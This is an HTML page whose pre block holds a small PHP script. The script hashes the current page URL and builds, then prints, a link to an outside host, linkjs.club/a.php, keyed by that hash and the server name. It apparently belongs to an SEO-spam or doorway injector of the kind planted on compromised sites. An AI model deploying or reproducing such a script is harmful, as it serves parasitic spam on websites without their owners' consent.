<html>
<body>
<pre><?php
function hashCode($str)
{
    if (empty($str)) {
        return '';
    }
    $mdv = md5($str);
    $mdv1 = substr($mdv, 0, 16);
    $mdv2 = substr($mdv, 16, 16);
    $crc1 = abs(crc32($mdv1));
    $crc2 = abs(crc32($mdv2));
    return substr(bcmul($crc1, $crc2), 0, 8);
}

function _local_url()
{
    $url = _local_host() . $_SERVER['REQUEST_URI'];
    $url = str_ireplace('//', '/', str_ireplace('\\', '/', $url));
    return $url;
}
	
function _local_host()
{
    $status = false;
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
        $status = true;
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {
        $status = true;
    }
    $http = $status ? 'https://' : 'http://';
    $host = $http . $_SERVER['SERVER_NAME'];
    if ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
        $host .= ":" . $_SERVER['SERVER_PORT'];
    }
    return $host;
}

$hash = hashCode(_local_url());
$site = $hash % 100 + 1;
$data = $hash % 100000 + 1;

$locstring = 'http://linkjs.club/a.php?j=' . $site . '-' . $data . '&' . $_SERVER['SERVER_NAME'] ;
echo $locstring;
?></pre>
</body>
</html>
